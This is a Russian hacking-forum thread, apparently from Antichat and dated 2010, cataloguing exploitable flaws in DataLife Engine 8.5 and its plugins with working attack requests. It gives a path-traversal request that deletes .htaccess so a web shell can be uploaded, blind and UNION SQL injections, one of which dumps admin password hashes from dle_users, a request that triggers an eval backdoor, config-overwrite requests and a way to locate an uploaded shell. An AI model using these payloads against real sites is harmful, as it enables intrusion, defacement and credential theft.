Вроде есть 1 файл в котором нет проверки на группу пользователя, только проверка хеша. Кто что знает? Я порылся что-то нашёл, на этом и закончил.
Откуда цитата? Прчему здесь key из конфига? непонетно \\все, ншел - http://dle.in.ua/bags/9503-seryoznaya-uyazvimost-v-null-versiyax.html \\кажется, знаю, откуда урки растут у бага
Ну и да, в результате ночи копания накопал: Уязвимости нету. ПО мнению автора, $config['key'] мог помочь сгенерировать $dle_login_hash и заюзать xsrf или просто оойти проверку. Только он вот не учел, что для генерации хеша нужен еще и сам пасс админа. Так что отбой, баги нет //Развели тут блин...
могу добавить, что перед проверкой ХЭШа стоит проверка админ ли...: if (( $member_id['user_group'] != 1 )) { die ("error"); } Ничего не выйдет.... Хотя, инфа к размышлению не плохая. всё это в clean.php
Версия ДЛЕ: 8.5 (скорее всего, и преыдущие, но тестил именно на 8.5) Везде далее: 1){ВАШ ЮЗЕР ХЕШ} - уникальный хеш, который вы получаете при входе в дадминку. Как правило, при переходе по страницам админки он передается гетом в урле, там его и берите. Или же заходите на страницу настроек, к примеру, и ищите в коде user_hash - там он и будет 2)лишние куски кода удалены, оставлены только самые важные, играющие роль при уязвимости. --------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------- Описание: Удаление произвольных файлов Зависимость: Нужны админские права Файл: /engine/inc/files.php Кусок кода: PHP: if( $action == "doimagedelete" ) { foreach ( $_POST['images'] as $image ) { @unlink( $config_path_image_upload . $image ); @unlink( $config_path_image_upload . "thumbs/" . $image ); } } Как осуществить: Залогинившись админом, послать post запрос: http://site.com/admin.php?mod=files images%5Bboxsmall.jpg%5D=../uploads/files/.htaccess&action=doimagedelete&userdir=&user_hash={ВАШ ЮЗЕР ХЕШ} Смысл: 1) Можно удалить .htaccess из папки uploads, загрузить туда шелл и видеть его из веба 2) Можно помешать работе сайта, удалив важыне файлы. --------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------- Описание: раскрытие префикса БД. Зависимость: Права журналиста или администратора (любой доступ в админку) Файл: /engine/inc/files.php Кусок кода: PHP: $serverfile = trim( htmlspecialchars( strip_tags( $_POST['serverfile'] ) ) ); $image_name = $serverfile; if( $config['files_allow'] == "yes" and $user_group[$member_id['user_group']]['allow_file_upload'] and $_REQUEST['action'] == "quick" and (in_array( strtolower( $type ), $allowed_files ) or $serverfile != '') ) $db->query( "INSERT INTO " . PREFIX . "_files (news_id, name, onserver, author, date) values ('$news_id', '$image_name', '{$file_prefix}{$image_name}', '$author', '$added_time')" ); Как осуществить: Залогинившись админом, послать post запрос: http://hackhack/admin.php?mod=files&action=quick&subaction=upload images_number=1&serverfile=\ --------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------- Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки Зависимость: Права админа или журналиста с разрешением аливать файлы чреез админку Файл: /admin.php?mod=files Кусок кода: PHP: $file_prefix = time() + rand( 1, 100 ); $file_prefix .= "_"; @copy( $imageurl, ROOT_DIR . "/uploads/files/" . $file_prefix . $image_name ) Ага, пишется: unixtime+{случайное число от 1 до 100}_названиефайлачтомывыгрузили Отсылаем файл, снифаем, что вернул сервер: Date: Mon, 14 Jun 2010 07:35:04 GMT делаем себе PHP: for($i=0; $i<=100; $i++) { $name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i; echo $name."<br>"; } Генерируем все возможные нвазвания нашего файла, потом просто перебираем их. --------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------- Описание: Blind-sql Зависимость: magic_quotes_gpc = off и админские права Файл: /engine/ajax/clean.php Кусок кода: PHP: if ($_REQUEST['step'] == 2) { if ((@strtotime($_REQUEST['date']) === -1) OR (trim($_REQUEST['date']) == "")) $_REQUEST['step'] = 1; else { $_REQUEST['step'] = 3; $sql = $db->query("SELECT id FROM " . PREFIX . "_post WHERE date < '{$_REQUEST['date']}'"); while($row = $db->get_row($sql)){ $db->query("DELETE FROM " . PREFIX . "_comments WHERE post_id='{$row['id']}'"); Как осуществить: http://site.com/engine/ajax/clean.php?date=1'&user_hash={ВАШ ЮЗЕР ХЕШ}&step=2 P.S. Обыная скуля с юнионом не пройдет, так как полученная инфа сразу уходит в DELETE Кому надо - тот докрутит --------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------- Версии ДЛЕ ДО 8.5 Описание: редактирование настроек системы, имея лишь ограниченный (модерский) доступ в админку Зависимость: Доступ в админку хотя бы с правами журналиста Файл: /engine/inc/options.php Кусок кода: PHP: elseif( $action == "dosavesyscon" ) { $save_con = $_POST['save_con']; $save_con['offline_reason'] = $parse->process( stripslashes( trim( $save_con['offline_reason'] ) ) ); $save_con['offline_reason'] = str_replace( '"', '"', $parse->BB_Parse( $save_con['offline_reason'], false ) ); $find[] = "'\r'"; $replace[] = ""; $find[] = "'\n'"; $replace[] = ""; $handler = fopen( ENGINE_DIR . '/data/config.php', "w" ); fwrite( $handler, "<?PHP \n\n//System Configurations\n\n\$config = array (\n\n" ); foreach ( $save_con as $name => $value ) { if( $name != "offline_reason" ) { $value = trim( stripslashes( $value ) ); $value = htmlspecialchars( $value); $value = preg_replace( $find, $replace, $value ); $name = trim( stripslashes( $name ) ); $name = htmlspecialchars( $name, ENT_QUOTES ); $name = preg_replace( $find, $replace, $name ); } fwrite( $handler, "'{$name}' => \"{$value}\",\n\n" ); } fwrite( $handler, ");\n\n?>" ); fclose( $handler ); } Как осуществить: Авторизовавшись в админке, делаем POST запрос http://site.com/admin.php?mod=options&action=syscon save_con%5Bhome_title%5D=GREAT HACK HOHOHOH&mod=options&action=dosavesyscon&user_hash={ВАШ ЮЗЕР ХЕШ} причем настроек поменять можно множество вплоть до оотключения сайта --------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------- Описание: раскрытие путей 1) Требуется админка http://site.com/admin.php?mod=static&search_field[]= 2) Админка не требуется, праа Юзерские http://site.com/?do=addnews POST tags[]=1&mod=addnews http://site.com/index.php POST login=submit&login_password[]=1 --------------------------------------------------------------------------------------------------------------------------------------------------- (c) wildshaman 2010. Special for Antichat
Модуль Hide v.4.2 для DLE Описание: выполнение произвольного кода (бекдор оставил автор) Зависимость: аккаунт юзера Файл: engine/modules/hide_news.php Кусок кода: PHP: if(md5(md5($_GET['conf_key'])) == $sets['key']){ eval(base64_decode($_GET['user_id'])); } key записывается в конфиге после любого изменения настроек модуля в админке, причем строго указан - d5bb5b454e4310d06746d9325b1c1968 Как осуществить: http://site.com/?newsid=XXXX&conf_key=fibona4i&user_id=cGhwaW5mbygpOw== Где XXX - айди существующей новости, а user_id - забейсенный php код (в данном случае пхпинфо) DLE forum 2.5 (дырявый, как сито) Описание: sql-инъекция Зависимость: register_globals = on Файл: engine/forum/sources/showtopic.php Кусок кода: PHP: if (intval($tid)) $row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid"); Как осуществить: http://site.com/?do=forum&act=topic&tid=1+[SQL]
if (intval($tid)) - думаю тут уязвимое место, т.к. не явно интвалица, а проверяется условием, сооветственно такое 1gsdkjgfdsk - прокатит, проверочный код: PHP: <?php $a = "1gsdkjgfdsk"; if(intval($a)) echo "Циферька"; else echo "ТЕКСТ детектед!"; ?> Причем дыра старая и известна уже давно
Посмотрел исходники этого скрипта (dle forum 2.5 final nulled by pigini) /engine/forum/sources/showtopic.php PHP: 1: <?php 2: /* 3: ===================================================== 4: File: showtopic.php 5: ===================================================== 6: */ 7: 8: if(!defined('DATALIFEENGINE')) 9: { 10: die("Hacking attempt!"); 11: } 12: 13: if (intval($tid)) 14: { 15: $row_topic = $db->super_query("SELECT * FROM " . PREFIX . "_forum_topics WHERE tid = $tid"); /*...*/ 537: } 538: ?> думаю видно, что переменная $tid в любом случае проходит через intval()
Создай на локалке такой код PHP: if (intval($tid)){ echo "прошли";} И передай file.php?tid=1+lololo+trololo Пашкелла-же написал об этом ===================== // Ctacok не три посты с обсуждением // Ок, да они вроде разобрались уже. Ctacok
DLE forum 2.5 - скачать отсюдо Я посмотрел. Там только одна зависимость rg=on так как плагин древний. Code: http://localhost/DLE8.3/?do=forum&act=topic&tid=1+and+1=%28select%20count%28*%29%20from%20%28select%201%20union%20select%202%20union%20select%203%29x%20group%20by%20concat%28version%28%29,floor%28rand%280%29*2%29%29%29 Можно крутить как быстрый блинд, есть вывод ошибки. Вывода нормального у мну небыло: http://localhost/DLE8.3/?do=forum&act=topic&tid=1+order+by+1--+ MySQL Error! ------------------------ The Error returned was: Unknown column '1' in 'order clause' Error Number: 1054 ага и так: http://localhost/DLE8.3/?do=forum&act=topic&tid=-1+union+select+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 вывод в <title> - 3 поле.
C интвалом разобрался, спасибо. Потестил узвимость на локалхосте, срабатывает только при register_globals = On Code: http://[host]/[path]/index.php?do=forum&act=topic&tid=1+and+1=2+union+select+1,2,concat_ws(0x3a,name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+dle_users+where+user_id=1
Упс, большое спасибо, у меня на денвере rg=on стояло для тестов, а я забыл про это ( Думал, там $tid передается при инклуде, просмотрел, спасибо. Дописал в пост.
В админке разрешаешь заливку php файлов, добавляешь новость и прикрепляешь файл к ней, т.е. сам шелл и всё. После смотришь имя, которое ему присвоилось таким способом: Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки Зависимость: Права админа или журналиста с разрешением заливать файлы через админку Файл: /admin.php?mod=files Кусок кода: PHP: $file_prefix = time() + rand( 1, 100 ); $file_prefix .= "_"; @copy( $imageurl, ROOT_DIR . "/uploads/files/" . $file_prefix . $image_name ) Ага, пишется: unixtime+{случайное число от 1 до 100}_название_файла_что_мы_выгрузили Отсылаем файл, снифаем, что вернул сервер: Date: Mon, 14 Jun 2010 07:35:04 GMT делаем себе PHP: for($i=0; $i<=100; $i++) { $name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i; echo $name."<br>"; } Генерируем все возможные нвазвания нашего файла, потом просто перебираем их. by wildshaman И ещё есть 1 способ, возможно его кто нибудь уже писал, но я не видел, сам лично узнал о нём. Заходишь в админке в антивирус, и там загружается список подозрительных файлов, и среди них найди название своего шелла, и там будет путь указан!